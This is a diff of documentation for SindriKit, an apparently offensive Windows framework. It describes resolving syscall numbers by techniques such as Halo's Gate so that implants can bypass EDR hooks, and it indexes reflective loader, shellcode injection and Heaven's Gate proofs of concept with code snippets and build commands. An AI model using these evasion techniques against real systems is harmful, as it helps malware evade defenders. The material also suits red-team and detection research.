| `entry_out` | `snd_syscall_entry_t*` | Output structure populated with the resolved SSN and stub address |
|
DWORD func_hash,
|
||||||
|
snd_syscall_entry_t *entry_out
|
||||||
|
);
|
||||||
|
```
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, `SND_STATUS_SSN_NOT_FOUND` if all strategies fail, `SND_STATUS_NOT_INITIALIZED` if `snd_set_ntdll` was not called.
|
### `snd_syscall_strategy_set`
|
||||||
|
|
||||||
---
|
Sets the **primary** strategy and **resets** the chain to a single entry.
|
||||||
|
|
||||||
### `snd_invoke_syscall_asm`
|
```c
|
||||||
ASM stub that performs the actual `syscall` instruction. Architecture-specific implementations exist for x64 and x86.
|
void snd_syscall_strategy_set(snd_syscall_resolver_t resolver);
|
||||||
|
```
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `args` | `snd_syscall_args_t*` | Pointer to a populated arguments structure |
|
|
||||||
|
|
||||||
**Returns:** `NTSTATUS` — the raw kernel return value.
|
|
||||||
|
|
||||||
### `snd_set_ntdll`
|
|
||||||
Sets the global `ntdll.dll` base address.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `base` | `PVOID` | The base address of the `ntdll.dll` image |
|
|
||||||
|
|
||||||
**Returns:** `void`
|
**Returns:** `void`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### `snd_get_ntdll`
|
### `snd_syscall_strategy_add`
|
||||||
Returns the global `ntdll.dll` base address.
|
|
||||||
|
|
||||||
**Returns:** `PVOID` — the base address of the `ntdll.dll` image, or `NULL` if not set.
|
Appends a fallback strategy. Evaluated in registration order after the primary.
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t snd_syscall_strategy_add(snd_syscall_resolver_t resolver);
|
||||||
|
```
|
||||||
|
|
||||||
|
**Returns:** `SND_OK`, `SND_STATUS_INVALID_PARAMETER`, `SND_STATUS_BUFFER_TOO_SMALL` (chain full)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_syscall_set_ntdll`
|
||||||
|
|
||||||
|
Registers the global `ntdll` base used by `snd_syscall_resolve`.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void snd_syscall_set_ntdll(PVOID ntdll_base);
|
||||||
|
```
|
||||||
|
|
||||||
|
No-op if `ntdll_base` is NULL. Typical sources: KnownDlls map, PEB walk, disk buffer.
|
||||||
|
|
||||||
|
**Source:** `src/primitives/execution/syscalls/syscalls.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Built-in Resolvers
|
||||||
|
|
||||||
|
### `snd_syscall_resolve_ssn_scan`
|
||||||
|
|
||||||
|
Stub-byte SSN extraction with neighbor fallback. See [engines.md](engines.md).
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t snd_syscall_resolve_ssn_scan(
|
||||||
|
PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out);
|
||||||
|
```
|
||||||
|
|
||||||
|
**Source:** `src/primitives/execution/syscalls/syscalls_scan.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_syscall_resolve_ssn_sort`
|
||||||
|
|
||||||
|
EAT sort-table SSN derivation. See [engines.md](engines.md).
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t snd_syscall_resolve_ssn_sort(
|
||||||
|
PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out);
|
||||||
|
```
|
||||||
|
|
||||||
|
**Source:** `src/primitives/execution/syscalls/syscalls_sort.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Resolution & Execution
|
||||||
|
|
||||||
|
### `snd_syscall_resolve`
|
||||||
|
|
||||||
|
Walks the configured strategy chain; returns on first success.
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out);
|
||||||
|
```
|
||||||
|
|
||||||
|
**Returns:** `SND_OK`, `SND_STATUS_NOT_INITIALIZED` (no ntdll base or empty chain), `SND_STATUS_SSN_NOT_FOUND` (all strategies failed), `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### `snd_syscall_invoke_asm`
|
||||||
|
|
||||||
|
Architecture-specific ASM stub (`invoke_x64.asm` / `invoke_x86.asm`).
|
||||||
|
|
||||||
|
```c
|
||||||
|
extern NTSTATUS snd_syscall_invoke_asm(snd_syscall_args_t *args);
|
||||||
|
```
|
||||||
|
|
||||||
|
**Returns:** raw `NTSTATUS` from the kernel
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Typical bootstrap (PoC pattern)
|
||||||
|
|
||||||
|
```c
|
||||||
|
PVOID ntdll = NULL;
|
||||||
|
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
||||||
|
snd_syscall_set_ntdll(ntdll);
|
||||||
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
|
|
||||||
|
snd_syscall_entry_t entry = {0};
|
||||||
|
snd_status_t status = snd_syscall_resolve(SND_HASH_NTALLOCATEVIRTUALMEMORY, &entry);
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Pipeline lifecycle](pipeline.md)
|
||||||
|
- [Memory `_sys` backend](../memory/techniques.md)
|
||||||
|
- [Mapping `_sys` backend](../mapping/techniques.md)
|
||||||
|
|||||||
@@ -0,0 +1,116 @@
|
|||||||
|
# Syscall Resolution Engines
|
||||||
|
|
||||||
|
SindriKit ships two built-in SSN resolvers. Both implement `snd_syscall_resolver_t` and plug into the cascading pipeline via `snd_syscall_strategy_set` / `snd_syscall_strategy_add`.
|
||||||
|
|
||||||
|
| Resolver | File | Hook resistance |
|
||||||
|
|---|---|---|
|
||||||
|
| `snd_syscall_resolve_ssn_scan` | `syscalls_scan.c` | Neighbor scan fallback when stub bytes are patched |
|
||||||
|
| `snd_syscall_resolve_ssn_sort` | `syscalls_sort.c` | Does not read stub bytes; derives SSN from export order |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Scan resolver (`snd_syscall_resolve_ssn_scan`)
|
||||||
|
|
||||||
|
### Algorithm
|
||||||
|
|
||||||
|
1. Resolve export address via `snd_pe_get_export_address_hash(ntdll, SND_SYS_DLL_SIZE_DEFAULT, func_hash, …)`.
|
||||||
|
2. Read stub bytes at the export address.
|
||||||
|
3. Extract SSN from the canonical pattern:
|
||||||
|
- **x64:** `4C 8B D1 B8 xx xx` (`mov r10, rcx; mov eax, SSN`)
|
||||||
|
- **x86:** `B8 xx xx` (`mov eax, SSN`)
|
||||||
|
4. If pattern mismatch (typical when inline-hooked), run **neighbor search**.
|
||||||
|
|
||||||
|
### Neighbor search
|
||||||
|
|
||||||
|
When the target stub is hooked, scans adjacent syscall stubs above and below in memory (step 32 bytes on x64, 16 on x86). For each neighbor with a valid pattern, derives the target SSN by offset index — the same technique family as Halo's Gate.
|
||||||
|
|
||||||
|
Caps search at 500 neighbors per direction. Returns `SND_STATUS_SSN_NOT_FOUND` if no valid neighbor is found.
|
||||||
|
|
||||||
|
### Output
|
||||||
|
|
||||||
|
Populates all `snd_syscall_entry_t` fields: `pAddress`, `dwHash`, `wSystemCall`.
|
||||||
|
|
||||||
|
### When to use
|
||||||
|
|
||||||
|
- **Primary strategy** — fast path when stubs are unhooked or only partially hooked
|
||||||
|
- Works well with **clean KnownDlls** `ntdll` where stubs are pristine
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sort resolver (`snd_syscall_resolve_ssn_sort`)
|
||||||
|
|
||||||
|
### Algorithm
|
||||||
|
|
||||||
|
1. **One-time table build** (`build_syscall_table`):
|
||||||
|
- Parse `ntdll` export directory
|
||||||
|
- Collect exports prefixed with `Zw`
|
||||||
|
- Normalize names to `Nt*` (`ZwCreateFile` → hash of `NtCreateFile`)
|
||||||
|
- Store `{hash, address}` pairs
|
||||||
|
- **Sort by address ascending**
|
||||||
|
2. **Lookup:** find matching hash; **array index = SSN**
|
||||||
|
|
||||||
|
Windows maps `Zw*` stubs sequentially in memory; sorted export order correlates with SSN assignment.
|
||||||
|
|
||||||
|
### Caching
|
||||||
|
|
||||||
|
The sorted table is built once per process (`g_table_initialized`). Subsequent resolves are O(n) linear scan over cached entries (n ≤ `SND_MAX_SYSCALLS`).
|
||||||
|
|
||||||
|
### Output
|
||||||
|
|
||||||
|
Sets `entry_out->wSystemCall` to the table index. Does **not** populate `pAddress` or `dwHash` — sufficient for `snd_syscall_invoke_asm` which only needs the SSN.
|
||||||
|
|
||||||
|
### When to use
|
||||||
|
|
||||||
|
- **Fallback strategy** when scan fails (heavy hooking, patched stub bytes)
|
||||||
|
- Immune to inline hooks on individual stubs because SSN is derived from export layout, not stub disassembly
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Recommended pipeline
|
||||||
|
|
||||||
|
PoCs and production profiles typically register both:
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
|
```
|
||||||
|
|
||||||
|
Evaluation order:
|
||||||
|
|
||||||
|
1. Try scan (cheap, accurate on clean stubs)
|
||||||
|
2. On failure, try sort (hook-resistant)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Custom resolvers
|
||||||
|
|
||||||
|
Any function matching `snd_syscall_resolver_t` can be registered:
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t my_resolver(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out) {
|
||||||
|
// populate entry_out->wSystemCall (required)
|
||||||
|
// optionally pAddress, dwHash
|
||||||
|
return SND_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
snd_syscall_strategy_add(my_resolver);
|
||||||
|
```
|
||||||
|
|
||||||
|
Maximum **4** strategies in the chain.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Dependencies
|
||||||
|
|
||||||
|
Both resolvers depend on:
|
||||||
|
|
||||||
|
- Valid `ntdll_base` passed to `snd_syscall_resolve` (from global `snd_syscall_set_ntdll`)
|
||||||
|
- PE export parsing (`snd_pe_get_export_address_hash` for scan; manual EAT walk for sort)
|
||||||
|
- Compile-time function hashes from `sindri_hashes.h` / `config/hashes.ini`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## See also
|
||||||
|
|
||||||
|
- [Pipeline](pipeline.md) — bootstrap and invocation
|
||||||
|
- [API reference](api_reference.md)
|
||||||
@@ -1,48 +0,0 @@
|
|||||||
# Syscall Gates
|
|
||||||
|
|
||||||
The framework provides four highly-researched techniques for extracting System Service Numbers (SSNs) at runtime. These form the building blocks of the syscall resolution pipeline.
|
|
||||||
|
|
||||||
## Hell's Gate (`snd_hell_extract_syscall`)
|
|
||||||
|
|
||||||
The baseline technique. On an unhooked system, every `Nt*` / `Zw*` stub in `ntdll.dll` follows a predictable prologue pattern. On x64:
|
|
||||||
|
|
||||||
```
|
|
||||||
4C 8B D1 mov r10, rcx
|
|
||||||
B8 XX XX 00 00 mov eax, <SSN>
|
|
||||||
0F 05 syscall
|
|
||||||
C3 ret
|
|
||||||
```
|
|
||||||
|
|
||||||
Hell's Gate locates the target function by hash in `ntdll`'s export table, walks to its stub, and validates the first four bytes against this pattern (`0x4C 0x8B 0xD1 0xB8`). If the pattern matches, bytes 4–5 contain the SSN as a little-endian `WORD` and are extracted directly. On x86 WOW64, the analogous check is a leading `0xB8` (`mov eax, <SSN>`) at offset 0.
|
|
||||||
|
|
||||||
**Original research:** [Hell's Gate](https://github.com/am0nsec/HellsGate) by am0nsec & smelly\_\_vx
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Halo's Gate (`snd_halo_extract_syscall`)
|
|
||||||
|
|
||||||
Hell's Gate fails when the target stub has been patched. A typical userland hook overwrites the first bytes of the stub with a `JMP` (`0xE9`) redirect to the EDR's trampoline.
|
|
||||||
|
|
||||||
When Halo's Gate detects this (`p[0] == 0xE9`), it abandons the hooked stub and searches adjacent stubs in memory. Syscall stubs for neighboring exports are allocated contiguously in the export table and their SSNs are sequential. By walking up and down from the hooked stub until a clean, pattern-matching neighbor is found, the correct SSN is inferred by applying the neighbor's index offset.
|
|
||||||
|
|
||||||
**Original research:** [Halo's Gate](https://blog.sektor7.net/#!res/2021/halosgate.md) by Sektor7
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Tartarus' Gate (`snd_tartarus_extract_syscall`)
|
|
||||||
|
|
||||||
Extends Halo's Gate to cover a second hook placement pattern. Some EDR products patch stubs with a short jump (`0xEB`, a single-byte relative `JMP`) rather than the full 5-byte `0xE9` variant.
|
|
||||||
|
|
||||||
Tartarus' Gate detects both (`p[0] == 0xE9 || p[0] == 0xEB`) before delegating to the same neighbor-search logic, ensuring coverage of EDR hooks that Halo's Gate alone would miss.
|
|
||||||
|
|
||||||
**Original research:** [Tartarus' Gate](https://github.com/trickster0/TartarusGate) by trickster0
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## VelesReek (`snd_veles_extract_syscall`)
|
|
||||||
|
|
||||||
An alternative SSN recovery approach that locates the `syscall` instruction (`0x0F 0x05`) itself within the stub rather than relying solely on the function prologue pattern.
|
|
||||||
|
|
||||||
On hooked stubs where the prologue has been overwritten, the `syscall` instruction and its immediate context can still anchor SSN derivation. Like the Gate variants, SindriKit's implementation also covers `0xE9`, `0xEB`, and (on x86) `0xE8` jump prefixes by falling through to the shared neighbor-search routine.
|
|
||||||
|
|
||||||
**Original research:** [VelesReek](https://github.com/klezvirus/VelesReek) by klezvirus
|
|
||||||
@@ -1,30 +1,122 @@
|
|||||||
# Cascading Syscall Pipeline
|
# Syscall Execution Pipeline
|
||||||
|
|
||||||
Windows EDRs instrument the kernel boundary by placing inline hooks inside `ntdll.dll` userland syscall stubs. When an implant calls `NtAllocateVirtualMemory`, it hits the hooked stub before reaching the kernel. The EDR inspects arguments, the call stack, and the execution context before deciding whether to allow or block the transition.
|
EDRs hook `ntdll.dll` syscall stubs in userland. Direct syscalls skip those stubs: the operator resolves the System Service Number (SSN) for a target `Nt*` function and invokes `syscall` with that number.
|
||||||
|
|
||||||
Direct syscall invocation bypasses this entirely: if the operator knows the System Service Number (SSN) for the target function, the `syscall` instruction can be issued directly, transitioning straight to the kernel.
|
SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime against a caller-supplied `ntdll` image.
|
||||||
|
|
||||||
The challenge is reliable SSN resolution. The SSN for any given NT function is not stable across Windows versions or patch levels. It must be extracted at runtime from the in-memory `ntdll.dll` image. SindriKit implements four distinct strategies (Gates) for this, arranged into a user-configured cascading fallback pipeline.
|
---
|
||||||
|
|
||||||
## The Pipeline Design
|
## Lifecycle
|
||||||
|
|
||||||
SindriKit composes the various gate strategies into a single ordered pipeline.
|
```mermaid
|
||||||
|
flowchart LR
|
||||||
- `snd_set_syscall_strategy()` sets the primary strategy and resets any existing chain.
|
A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_strategy_set / _add"]
|
||||||
- `snd_add_syscall_strategy()` appends fallbacks (maximum chain depth: 4).
|
B --> C["3. snd_syscall_resolve"]
|
||||||
- When `snd_resolve_syscall()` is called, it attempts each strategy in registration order and returns the first successful result. A strategy that returns any error causes an immediate retry with the next entry in the pipeline.
|
C --> D["4. snd_syscall_invoke_asm"]
|
||||||
|
|
||||||
### Full-Coverage Implementation
|
|
||||||
A full-coverage pipeline that handles unhooked, lightly hooked, and aggressively hooked environments looks like this:
|
|
||||||
|
|
||||||
```c
|
|
||||||
snd_set_syscall_strategy(snd_hell_extract_syscall);
|
|
||||||
snd_add_syscall_strategy(snd_halo_extract_syscall);
|
|
||||||
snd_add_syscall_strategy(snd_tartarus_extract_syscall);
|
|
||||||
snd_add_syscall_strategy(snd_veles_extract_syscall);
|
|
||||||
```
|
```
|
||||||
|
|
||||||
If all four strategies fail for a given function, `snd_resolve_syscall()` returns `SND_STATUS_SSN_NOT_FOUND`.
|
### 1. Provide `ntdll` base
|
||||||
|
|
||||||
> [!IMPORTANT]
|
Register the image used for SSN extraction:
|
||||||
> `snd_set_ntdll()` (from `sindri/primitives/modules.h`) **must** be called before any resolution attempt. There is no implicit fallback. Feed it either the PEB-resident `ntdll.dll` base or, for a cleaner baseline, a base obtained via the KnownDlls mapping technique.
|
|
||||||
|
```c
|
||||||
|
snd_syscall_set_ntdll(ntdll_base);
|
||||||
|
```
|
||||||
|
|
||||||
|
| Source | Trade-off |
|
||||||
|
|---|---|
|
||||||
|
| PEB-resident `ntdll` | No I/O; may reflect hooked stubs (scan falls back to neighbor search) |
|
||||||
|
| KnownDlls map | Clean text section; recommended for `_sys` backends |
|
||||||
|
| Disk load | Simple; file read telemetry |
|
||||||
|
|
||||||
|
See [mapping techniques](../mapping/techniques.md) for KnownDlls bootstrap.
|
||||||
|
|
||||||
|
### 2. Configure strategy chain
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); // primary
|
||||||
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); // fallback
|
||||||
|
```
|
||||||
|
|
||||||
|
`snd_syscall_strategy_set` **replaces** the entire chain. Each `snd_syscall_strategy_add` appends up to 3 fallbacks (4 total).
|
||||||
|
|
||||||
|
### 3. Resolve SSN
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_syscall_entry_t entry = {0};
|
||||||
|
snd_status_t status = snd_syscall_resolve(SND_HASH_NTOPENSECTION, &entry);
|
||||||
|
```
|
||||||
|
|
||||||
|
`snd_syscall_resolve` tries each registered strategy in order until one returns `SND_OK`.
|
||||||
|
|
||||||
|
### 4. Invoke
|
||||||
|
|
||||||
|
Populate `snd_syscall_args_t` and call the ASM stub:
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_syscall_args_t args = {0};
|
||||||
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.arg1 = ...;
|
||||||
|
// arg2–arg11 as required by the target syscall
|
||||||
|
|
||||||
|
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
|
||||||
|
```
|
||||||
|
|
||||||
|
`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 3–4 internally — operators only bootstrap once at startup.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Full example
|
||||||
|
|
||||||
|
```c
|
||||||
|
// Bootstrap (once per process)
|
||||||
|
PVOID ntdll = NULL;
|
||||||
|
snd_status_t st = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
||||||
|
if (SND_FAILED(st)) return st;
|
||||||
|
|
||||||
|
snd_syscall_set_ntdll(ntdll);
|
||||||
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
|
|
||||||
|
// Resolve + invoke NtClose
|
||||||
|
snd_syscall_entry_t entry = {0};
|
||||||
|
st = snd_syscall_resolve(SND_HASH_NTCLOSE, &entry);
|
||||||
|
if (SND_FAILED(st)) return st;
|
||||||
|
|
||||||
|
snd_syscall_args_t args = {0};
|
||||||
|
args.ssn = entry.wSystemCall;
|
||||||
|
args.arg1 = handle;
|
||||||
|
|
||||||
|
NTSTATUS nt = snd_syscall_invoke_asm(&args);
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Integration with `_sys` backends
|
||||||
|
|
||||||
|
After bootstrap, swapping to syscall-backed primitives requires no additional setup:
|
||||||
|
|
||||||
|
```c
|
||||||
|
ctx.mem_api = &snd_mem_sys;
|
||||||
|
inj_ctx.proc_api = &snd_proc_sys;
|
||||||
|
```
|
||||||
|
|
||||||
|
Each `_sys` API function calls `snd_syscall_resolve` with the appropriate hash, packs arguments into `snd_syscall_args_t`, and invokes `snd_syscall_invoke_asm`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Failure modes
|
||||||
|
|
||||||
|
| Status | Cause |
|
||||||
|
|---|---|
|
||||||
|
| `SND_STATUS_NOT_INITIALIZED` | `snd_syscall_set_ntdll` not called, or no strategies registered |
|
||||||
|
| `SND_STATUS_SSN_NOT_FOUND` | All strategies failed for the hash |
|
||||||
|
| `SND_STATUS_BUFFER_TOO_SMALL` | Strategy chain full (max 4) |
|
||||||
|
| `SND_STATUS_INVALID_PARAMETER` | NULL resolver passed to `strategy_add` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## See also
|
||||||
|
|
||||||
|
- [Resolver engines](engines.md) — scan vs sort internals
|
||||||
|
- [API reference](api_reference.md)
|
||||||
|
|||||||
+50
-9
@@ -1,13 +1,54 @@
|
|||||||
# Examples & Proof of Concepts
|
# Examples & Proof of Concepts
|
||||||
|
|
||||||
This directory contains standalone execution wrappers built on top of the SindriKit library.
|
Standalone executables under `pocs/` demonstrate SindriKit domains end-to-end. Each PoC is a thin CLI wrapper around library chain functions — the same APIs documented in the domain references.
|
||||||
|
|
||||||
|
PoCs build when `SND_CRTLESS=OFF` (default). CRT-less mode replaces the full PoC set with `loader_noCRT_nowinapi` only.
|
||||||
|
|
||||||
|
Each PoC walkthrough follows: **Location → What it demonstrates → (Command-line) → Walkthrough → Building → OpSec → See also**.
|
||||||
|
|
||||||
|
## OpSec profiles
|
||||||
|
|
||||||
|
| PoC | Loader / injection | Memory | Modules | Process | Syscall bootstrap |
|
||||||
|
|---|---|---|---|---|---|
|
||||||
|
| `loader_winapi` | Local reflective | `snd_mem_win` | `snd_mod_win` | — | Optional |
|
||||||
|
| `loader_nowinapi` | Local reflective | `snd_mem_nt` | `snd_mod_nt` | — | Required (disk `ntdll`) |
|
||||||
|
| `loader_noCRT_nowinapi` | Local reflective | `snd_mem_win` | `snd_mod_nt` | — | Required (PEB `ntdll`) |
|
||||||
|
| `inject_shell` | Classic shellcode | — | — | `snd_proc_win` | Yes (KnownDlls; unused while `_win`) |
|
||||||
|
| `inject_pe` | Classic PE | `snd_mem_sys` | `snd_mod_nt` | `snd_proc_sys` | Required (KnownDlls) |
|
||||||
|
| `heavens_gate` | WoW64 → x64 exec | Win32 alloc (demo) | — | — | N/A |
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [loader_winapi.md](loader_winapi.md)
|
|
||||||
Walkthrough of standard reflective loading using noisy Win32 APIs for pipeline validation.
|
### Loaders (local reflective PE)
|
||||||
- [loader_nowinapi.md](loader_nowinapi.md)
|
- [loader_winapi.md](loader_winapi.md) — Win32 APIs, diagnostic baseline, DLL export FFI
|
||||||
Walkthrough of evasive loading using direct syscalls, Hell's Gate, and PEB walking.
|
- [loader_nowinapi.md](loader_nowinapi.md) — NT backends, syscall pipeline bootstrap
|
||||||
- [loader_noCRT_nowinapi.md](loader_noCRT_nowinapi.md)
|
- [loader_noCRT_nowinapi.md](loader_noCRT_nowinapi.md) — `/NODEFAULTLIB`, minimal CRT-less footprint
|
||||||
Walkthrough of the ultimate evasive profile: stripping the MSVC C Runtime entirely for minimal footprint.
|
|
||||||
- [heavens_gate.md](heavens_gate.md)
|
### Injection (remote classic)
|
||||||
Walkthrough of transitioning a 32-bit WoW64 process into native 64-bit execution.
|
- [inject_shell.md](inject_shell.md) — Raw shellcode via `snd_inj_classic_shell`
|
||||||
|
- [inject_pe.md](inject_pe.md) — PE bake + remote execute via `snd_inj_classic_pe`
|
||||||
|
|
||||||
|
### Execution primitives
|
||||||
|
- [heavens_gate.md](heavens_gate.md) — WoW64 → native x64 transition
|
||||||
|
|
||||||
|
## Building all PoCs
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cmake -B build -DSND_BUILD_PAYLOADS=ON
|
||||||
|
cmake --build build --config Release
|
||||||
|
```
|
||||||
|
|
||||||
|
Binaries land under `build/pocs/<name>/Release/` (MSVC multi-config) or `build/pocs/<name>/` (single-config generators).
|
||||||
|
|
||||||
|
CRT-less PoC only:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cmake -B build -DSND_CRTLESS=ON -DSND_ENABLE_DEBUG=OFF
|
||||||
|
cmake --build build --config Release
|
||||||
|
```
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Getting started: basic usage](../getting_started/basic_usage.md)
|
||||||
|
- [Loaders domain](../domains/loaders/README.md)
|
||||||
|
- [Injection domain](../domains/injection/README.md)
|
||||||
|
|||||||
@@ -2,32 +2,33 @@
|
|||||||
|
|
||||||
**Location:** `pocs/heavens_gate/`
|
**Location:** `pocs/heavens_gate/`
|
||||||
|
|
||||||
This PoC demonstrates SindriKit's capability to transition from a 32-bit WoW64 environment into native 64-bit mode using the `0x33` segment selector (Heaven's Gate).
|
Demonstrates transitioning from a 32-bit WoW64 process into native 64-bit execution using the `0x33` segment selector (Heaven's Gate). Executes 64-bit shellcode and retrieves the 64-bit return value in `RAX`.
|
||||||
|
|
||||||
## What it demonstrates
|
## What it demonstrates
|
||||||
|
|
||||||
- Checking whether the current process is running under WoW64.
|
- WoW64 environment detection (`snd_is_wow64`)
|
||||||
- Passing a 64-bit function pointer and argument array across the boundary.
|
- 64-bit execution from a 32-bit host via `snd_hg_execute_64`
|
||||||
- Executing 64-bit shellcode from a 32-bit process and retrieving a 64-bit return value in `RAX`.
|
- Native x64 compile rejection at runtime
|
||||||
|
|
||||||
## Walkthrough
|
## Walkthrough
|
||||||
|
|
||||||
Because this primitive relies on the WoW64 subsystem, the PoC is only functional when compiled as a 32-bit executable (`x86`) and run on a 64-bit Windows OS.
|
### 1. Validate environment
|
||||||
|
|
||||||
### Step 1: Validate the Environment
|
Requires **x86 build** on a **64-bit Windows** host under WoW64:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
if (!snd_is_wow64()) {
|
#if defined(_WIN64)
|
||||||
printf("[-] Not running in WOW64... Heaven's Gate requires WOW64.\n");
|
|
||||||
return SND_STATUS_ARCH_MISMATCH;
|
return SND_STATUS_ARCH_MISMATCH;
|
||||||
}
|
#elif defined(_WIN32)
|
||||||
|
if (!snd_is_wow64()) {
|
||||||
|
return SND_STATUS_ARCH_MISMATCH;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
```
|
```
|
||||||
|
|
||||||
The framework parses the PEB to determine if the 32-bit process is being emulated by the 64-bit OS.
|
### 2. Allocate 64-bit shellcode
|
||||||
|
|
||||||
### Step 2: Allocate 64-bit Payload
|
Demo shellcode loads a magic value into `RAX` and returns:
|
||||||
|
|
||||||
For demonstration purposes, this PoC uses `VirtualAlloc` to allocate a simple 64-bit shellcode block that loads a magic value into `RAX` and returns:
|
|
||||||
|
|
||||||
```nasm
|
```nasm
|
||||||
mov rax, 0x1122334455667788
|
mov rax, 0x1122334455667788
|
||||||
@@ -36,28 +37,50 @@ ret
|
|||||||
|
|
||||||
```c
|
```c
|
||||||
unsigned char shellcode64[] = {
|
unsigned char shellcode64[] = {
|
||||||
0x48, 0xB8, 0x88, 0x77, 0x66,
|
0x48, 0xB8, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,
|
||||||
0x55, 0x44, 0x33, 0x22, 0x11,
|
|
||||||
0xC3
|
0xC3
|
||||||
};
|
};
|
||||||
|
|
||||||
PVOID pExec = VirtualAlloc(NULL, sizeof(shellcode64), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
PVOID pExec = VirtualAlloc(NULL, sizeof(shellcode64),
|
||||||
|
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
memcpy(pExec, shellcode64, sizeof(shellcode64));
|
memcpy(pExec, shellcode64, sizeof(shellcode64));
|
||||||
```
|
```
|
||||||
|
|
||||||
### Step 3: Transition and Execute
|
> [!NOTE]
|
||||||
|
> Win32 allocation for demo simplicity. Production use would use `snd_mem_*` backends.
|
||||||
|
|
||||||
The PoC invokes the `snd_hg_execute_64` API, which performs the segment selector transition internally, executes the provided address, and passes back the 64-bit return value.
|
### 3. Execute via Heaven's Gate
|
||||||
|
|
||||||
```c
|
```c
|
||||||
UINT64 result = 0;
|
UINT64 result = 0;
|
||||||
|
snd_status_t status = snd_hg_execute_64(
|
||||||
// Invoke Heaven's Gate with 0 arguments
|
(UINT64)(ULONG_PTR)pExec,
|
||||||
snd_status_t status = snd_hg_execute_64((UINT64)(ULONG_PTR)pExec, 0, NULL, &result);
|
0, NULL, &result
|
||||||
|
);
|
||||||
if (status.code == SND_SUCCESS) {
|
// result == 0x1122334455667788 on success
|
||||||
// result == 0x1122334455667788
|
|
||||||
}
|
|
||||||
```
|
```
|
||||||
|
|
||||||
**OpSec impact:** Bypassing WoW64 completely blinds any security products that have only placed userland hooks inside the 32-bit `ntdll.dll`. The execution happens entirely in native 64-bit mode.
|
> [!NOTE]
|
||||||
|
> The PoC prints failure messages but **`main` returns `SND_SUCCESS` (0)** on the WoW64 path regardless of `snd_hg_execute_64` outcome. Use debug output or patch `main` for status-driven exit codes.
|
||||||
|
|
||||||
|
## Building
|
||||||
|
|
||||||
|
Requires an **x86** toolchain target:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cmake -B build -A Win32 -DSND_BUILD_PAYLOADS=ON
|
||||||
|
cmake --build build --config Release
|
||||||
|
```
|
||||||
|
|
||||||
|
Output: `build/pocs/heavens_gate/Release/heavens_gate.exe`
|
||||||
|
|
||||||
|
